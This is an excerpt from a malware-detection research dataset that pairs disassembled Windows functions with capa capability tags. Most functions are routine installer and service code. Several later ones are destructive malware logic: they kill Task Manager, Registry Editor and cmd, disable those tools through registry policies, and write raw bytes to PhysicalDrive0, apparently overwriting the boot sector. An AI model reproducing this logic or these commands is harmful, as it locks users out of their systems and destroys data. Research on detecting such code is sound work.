joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1007d53
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
cmp dword [0x101309c], ebx
push edi
mov esi, 0x101309c
je 0x1007e39
mov edi, 0x401
mov ecx, dword [esi]
add esi, 4
mov edx, dword [esi]
add esi, 4
mov eax, dword [esi]
add esi, 4
cmp eax, ebx
je 0x1007dab
push eax
push edx
push ecx
lea eax, [ebp - 0x808]
push edi
push eax
call fcn.01006339
add esp, 0x14
jmp 0x1007dbd
push edx
push ecx
lea eax, [ebp - 0x808]
push edi
push eax
call fcn.01006339
add esp, 0x10
cmp eax, ebx
jl 0x1007e5c
lea eax, [ebp - 0x80c]
push eax
push 0x20008
push ebx
lea eax, [ebp - 0x808]
push eax
push 0x80000000
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1007e2e
push 0x50
lea eax, [ebp - 0x808]
push eax
push ebx
push dword [ebp - 0x80c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
cmp eax, 0x103
jne 0x1007e1c
push 0x10013ac
push dword [ebp - 0x80c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push dword [ebp - 0x80c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x80c], ebx
add esi, 0xc
cmp dword [esi], ebx
jne 0x1007d83
push ebx
push ebx
push 0x1000
push 0x8000000
call dword [0x101432c]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.010108f5
leave
ret
mov eax, 0x80004005
jmp 0x1007e4d
Function at 0x1007e68
Capabilities:
Create service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push 0x20c
lea eax, [ebp - 0x41a]
push esi
push eax
mov word [ebp - 0x41c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x103
lea eax, [ebp - 0x41c]
push eax
push esi
mov dword [ebp - 0x420], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1007ec4
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1008043
lea eax, [ebp - 0xc]
push eax
push 0x107
lea eax, [ebp - 0x41c]
push eax
mov word [ebp - 0x216], si
mov word [ebp - 0xc], 0x20
mov word [ebp - 0xa], 0x2f
mov word [ebp - 8], 0x56
mov word [ebp - 6], si
call fcn.01006299
cmp eax, esi
jl 0x1008043
push edi
push 0x1fe
lea eax, [ebp - 0x20a]
push esi
push eax
mov word [ebp - 0x20c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
mov edi, 0x100
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x1b
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
test eax, eax
jne 0x1007f49
push 9
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x1b
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x1008030
push ebx
cmp dword [ebp - 0x420], esi
mov dword [ebp - 0x424], esi
je 0x1007f7b
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push dword [0x10131b0]
lea eax, [ebp - 0x41c]
push esi
push esi
push eax
push 1
push 3
push 0x20
push 0xf01ff
lea eax, [ebp - 0x20c]
push eax
push 0x100137c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
cmp ebx, esi
jne 0x1007fd8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x430
mov dword [ebp - 0x424], eax
jne 0x1008024
mov eax, dword [ebp - 0x420]
inc dword [ebp - 0x420]
cmp eax, 0xe
jl 0x1007f62
jmp 0x1008024
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x20
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
test eax, eax
jne 0x1008001
push 9
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x1b
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
push 1
push ebx
call dword [0x10142c0]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
jmp 0x100803c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp - 0x424]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.010108f5
leave
ret
Function at 0x1008db1
Capabilities:
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x20c]
mov esi, 0x104
push edi
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x218], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, esi
jle 0x1008e25
push 0
push eax
lea ecx, [ebp - 0x218]
call fcn.01005ea9
test al, al
jne 0x1008e25
lea ecx, [ebp - 0x218]
call fcn.01006126
push 0xe
pop eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.010108f5
leave
ret
push ebx
push edi
push dword [ebp - 0x214]
push dword [ebp - 0x218]
call fcn.010061c4
test eax, eax
jge 0x1008e4f
push 0xe
pop ebx
lea ecx, [ebp - 0x218]
call fcn.01006126
mov eax, ebx
pop ebx
jmp 0x1008e17
xor esi, esi
test edi, edi
mov eax, edi
je 0x1008e77
movzx ecx, word [edi]
test cx, cx
je 0x1008e73
push eax
call fcn.010050ac
pop ecx
movzx ecx, word [eax]
cmp cx, 0x5c
jne 0x1008e5a
mov esi, eax
jmp 0x1008e5a
test esi, esi
jne 0x1008e7c
xor ebx, ebx
inc ebx
jmp 0x1008e3f
mov eax, dword [ebp - 0x218]
sub esi, edi
sar esi, 1
and word [eax + esi*2], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov ebx, eax
test ebx, ebx
jne 0x1008e3f
push 8
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test eax, eax
mov dword [ebp - 0x21c], eax
mov edi, 0xffff
mov esi, 0x80070000
je 0x1008ec7
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x1008ed7
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1008ed5
and eax, edi
or eax, esi
mov ebx, eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
jne 0x1008ef5
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1008ef3
and eax, edi
or eax, esi
mov ebx, eax
test ebx, ebx
jne 0x1008f23
push dword [ebp - 0x220]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1008f1f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1008f21
and eax, edi
or eax, esi
jmp 0x1008f21
call eax
mov ebx, eax
cmp dword [ebp - 0x21c], 0
je 0x1008f38
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x1008e3f
Function at 0x1008f7e
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x86c
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
cmp dword [0x10141e0], 0xffffffff
mov ebx, eax
jne 0x1009061
lea eax, [ebp - 0x868]
push eax
mov dword [0x10141e0], edi
mov dword [ebp - 0x86c], edi
mov dword [ebp - 0x868], 0x20019
call fcn.01004818
pop ecx
lea eax, [ebp - 0x86c]
push eax
push dword [ebp - 0x868]
push edi
push 0x1001b20
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1009061
lea eax, [ebp - 0x858]
mov dword [ebp - 0x864], eax
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0x858]
push eax
push edi
push edi
push 0x1001b14
push dword [ebp - 0x86c]
mov dword [ebp - 0x860], 0x28
mov dword [ebp - 0x868], 0x50
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100904a
mov eax, dword [ebp - 0x864]
mov eax, dword [eax]
and eax, 3
mov dword [0x10141e0], eax
push dword [ebp - 0x86c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x864]
call fcn.0100619e
test dword [0x10141e0], 3
je 0x10090d1
push 0x800
lea eax, [ebp - 0x806]
push edi
push eax
mov word [ebp - 0x808], di
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], edi
push esi
lea eax, [ebp - 0x808]
je 0x10090ad
push dword [ebp + 0xc]
push 0x1001af0
push 0x401
push eax
call fcn.01006339
add esp, 0x14
jmp 0x10090c0
push 0x1001ae4
push 0x401
push eax
call fcn.01006339
add esp, 0x10
cmp eax, edi
jl 0x10090d1
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.010108f5
leave
ret
Function at 0x1009505
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x100964e
push 0xf01ff
push 0x100137c
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x100961a
push edi
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10095b7
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov ebx, 0x3e8
push ebx
mov dword [ebp - 0x28], 4
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x100959a
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0xc]
cmp eax, 5
jge 0x10095a7
cmp dword [ebp - 0x28], 3
jne 0x10095a7
push ebx
call esi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x1009586
cmp dword [ebp - 0x28], 1
pop ebx
je 0x10095f7
mov dword [ebp - 4], 0x80004005
jmp 0x100960e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
sub eax, 0x41c
je 0x10095eb
sub eax, 8
je 0x10095e6
dec eax
dec eax
je 0x10095e6
sub eax, 0xf
je 0x10095e6
push dword [ebp - 4]
push 0x1001cb8
call fcn.01008f7e
pop ecx
pop ecx
jmp 0x10095f2
mov dword [ebp - 4], esi
jmp 0x10095f7
mov dword [ebp - 4], 0x652
cmp dword [ebp - 4], esi
jne 0x100960e
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
cmp eax, 1
je 0x100960e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
jmp 0x1009643
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
sub eax, 0x424
je 0x1009640
sub eax, 0xc
je 0x1009640
push dword [ebp - 4]
push 0x1001c90
call fcn.01008f7e
pop ecx
pop ecx
jmp 0x1009643
mov dword [ebp - 4], esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1009664
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1001c64
mov dword [ebp - 4], eax
call fcn.01008f7e
pop ecx
pop ecx
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x100966f
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc08
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
lea ecx, [ebp - 0xc00]
push ecx
push 0x2001f
xor esi, esi
push esi
push ebx
push eax
mov dword [ebp - 0xc08], eax
call fcn.0100483f
add esp, 0x14
cmp eax, esi
je 0x10096ba
cmp eax, 2
sete al
jmp 0x10097c2
push edi
lea ecx, [ebp - 0xbfc]
call fcn.01006034
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x10096e5
push dword [ebp - 0xbfc]
push dword [ebp - 0xc00]
call fcn.0100966f
test al, al
pop ecx
pop ecx
je 0x1009724
mov eax, dword [ebp - 0xbf8]
push esi
push esi
push esi
push esi
mov dword [ebp - 0xc04], eax
lea eax, [ebp - 0xc04]
push eax
push dword [ebp - 0xbfc]
push esi
push dword [ebp - 0xc00]
call edi
cmp eax, esi
je 0x10096ce
cmp eax, 0x103
push dword [ebp - 0xc00]
je 0x100972c
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100978b
push dword [ebp - 0xc00]
jmp 0x100971c
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push dword [ebp - 0xc08]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, eax
cmp edi, esi
je 0x10097a7
push 0x800
lea eax, [ebp - 0x806]
push esi
push eax
mov word [ebp - 0x808], si
call sub.msvcrt.dll_memset
push ebx
push 0x1001ce8
lea eax, [ebp - 0x808]
push 0x401
push eax
call fcn.01006339
add esp, 0x1c
test eax, eax
jl 0x100978b
lea eax, [ebp - 0x808]
push edi
push eax
call fcn.01008f7e
pop ecx
pop ecx
cmp dword [ebp - 0xbf8], 0x1f4
jle 0x10097a3
push dword [ebp - 0xbfc]
call fcn.01005859
pop ecx
xor al, al
jmp 0x10097c1
cmp dword [ebp - 0xbf8], 0x1f4
jle 0x10097bf
push dword [ebp - 0xbfc]
call fcn.01005859
pop ecx
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.010108f5
leave
ret
Function at 0x1009be1
Capabilities:
Compare security identifiers

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorOwner]
test eax, eax
jne 0x1009c15
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10020b8
call fcn.01008f7e
pop ecx
pop ecx
xor al, al
leave
ret
cmp dword [ebp - 4], 0
je 0x1009c11
lea eax, [ebp - 8]
push eax
call fcn.01004d4d
test eax, eax
pop ecx
je 0x1009c31
push eax
push 0x1002020
jmp 0x1009c0a
push esi
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_EqualSid]
push dword [ebp - 4]
call esi
test eax, eax
jne 0x1009c66
lea eax, [ebp - 8]
push eax
call fcn.01004c7e
test eax, eax
pop ecx
je 0x1009c5a
push eax
push 0x1001f98
jmp 0x1009c7e
push dword [ebp - 8]
push dword [ebp - 4]
call esi
test eax, eax
je 0x1009c6a
mov al, 1
jmp 0x1009c96
lea eax, [ebp - 8]
push eax
call fcn.01004bf6
test eax, eax
pop ecx
je 0x1009c89
push eax
push 0x1001ef8
call fcn.01008f7e
pop ecx
pop ecx
xor al, al
jmp 0x1009c96
push dword [ebp - 8]
push dword [ebp - 4]
call esi
test eax, eax
setne al
pop esi
leave
ret
Function at 0x1009d45
Capabilities:
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xa40
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0xa30], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x21c]
call fcn.01005f8f
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
lea eax, [ebp - 0xa20]
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0x218]
push eax
push dword [ebp - 0x21c]
mov dword [ebp - 0xa28], 0x401
push 0
push edi
mov dword [ebp - 0xa38], eax
call esi
test eax, eax
jne 0x1009e96
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xa34]
push eax
push 0x20019
push 0
push dword [ebp - 0x21c]
push edi
call fcn.0100483f
add esp, 0x14
test eax, eax
mov dword [ebp - 0xa40], eax
jne 0x1009ea5
push dword [ebp - 0xa34]
call fcn.01009c9e
test al, al
pop ecx
jne 0x1009e6b
push dword [ebp - 0xa34]
call ebx
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0xa3c], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xa3c]
push ecx
push eax
push 1
push eax
push 0x403
push eax
push 2
call fcn.010057fb
push dword [ebp - 0x21c]
push 0x1002360
push dword [ebp - 0xa28]
push dword [ebp - 0xa2c]
call fcn.01006339
add esp, 0x30
test eax, eax
jl 0x1009e50
push 0
push dword [ebp - 0xa2c]
call fcn.01008f7e
pop ecx
pop ecx
push dword [ebp - 0x21c]
push edi
call fcn.0100966f
test al, al
pop ecx
pop ecx
jne 0x1009e71
push 0
push 0x10022f0
jmp 0x1009ed4
inc dword [ebp - 0xa30]
push dword [ebp - 0xa34]
call ebx
push dword [ebp - 0xa38]
push dword [ebp - 0x21c]
push dword [ebp - 0xa30]
push edi
call esi
test eax, eax
je 0x1009db4
cmp eax, 0x103
je 0x1009f02
push eax
push 0x1002288
jmp 0x1009ed4
push dword [ebp - 0x21c]
push 0x1002220
push dword [ebp - 0xa28]
push dword [ebp - 0xa2c]
call fcn.01006339
add esp, 0x10
test eax, eax
jl 0x1009edb
push dword [ebp - 0xa40]
push dword [ebp - 0xa2c]
call fcn.01008f7e
pop ecx
pop ecx
lea ecx, [ebp - 0xa2c]
call fcn.01006175
cmp dword [ebp - 0x218], 0x105
jle 0x1009efe
push dword [ebp - 0x21c]
call fcn.01005859
pop ecx
xor al, al
jmp 0x1009f27
lea ecx, [ebp - 0xa2c]
call fcn.01006175
cmp dword [ebp - 0x218], 0x105
jle 0x1009f25
push dword [ebp - 0x21c]
call fcn.01005859
pop ecx
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.010108f5
leave
ret
Function at 0x100ccf1
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x1014d9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push 0x114
mov byte [eax], 0
lea eax, [ebp - 0x118]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x108], 2
jne 0x100cd63
cmp dword [ebp - 0x114], 5
ja 0x100cd56
jne 0x100cd63
cmp dword [ebp - 0x110], 1
jb 0x100cd63
push 0x10033b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x100cd6e
push 0x10033b8
call fcn.0100cba2
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.010108f5
leave
ret

Function at 0x1010e70
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x1010e83
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x1010e7f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x1010eb0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x1010eef
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x1010ee5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1010ef1
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x1010ed5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401519
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 4], 0
mov dword [esp], str.Shell_TrayWnd
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
leave
ret

Function at 0x40154f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._f__im_taskmgr.exe
mov dword [esp + 8], str.taskkill
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._f__im_regedit.exe
mov dword [esp + 8], str.taskkill
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._f__im_cmd.exe
mov dword [esp + 8], str.taskkill
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
leave
ret

Function at 0x401602
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.ADD_hkcuSoftwareMicrosoftWindowsCurrentVersionpolicies_system__v_DisableTaskMgr__t_reg_dword__d_1__f
mov dword [esp + 8], 0x4070be
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.ADD_hkcuSoftwareMicrosoftWindowsCurrentVersionpolicies_system__v_DisableRegistryTools__t_reg_dword__d_1__f
mov dword [esp + 8], 0x4070be
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.ADD_hkcuSoftwareMicrosoftWindowsCurrentVersionpoliciesExplorer__v_NoRun__t_reg_dword__d_1__f
mov dword [esp + 8], 0x4070be
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.add_hkcuSOFTWAREPoliciesMicrosoftWindowsSystem__v_DisableCMD__t_reg_dword__d_1__f
mov dword [esp + 8], 0x4070be
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call eax
sub esp, 0x18
leave
ret
Function at 0x40186b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4000
mov dword [esp + 4], 0x407640
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
leave
ret
Function at 0x4047f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x404850
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x40b050]
test esi, esi
jle 0x40493d
mov edi, dword [0x40b054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x404884
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x404936
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x404870
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x40497a
lea ebx, [esi + esi*2]
mov esi, dword [0x40b054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x40b054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40495a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40492f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40492f
mov eax, dword [esp + 0x20]
add ebx, dword [0x40b054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x404944
add dword [0x40b050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x40488e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x40b054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]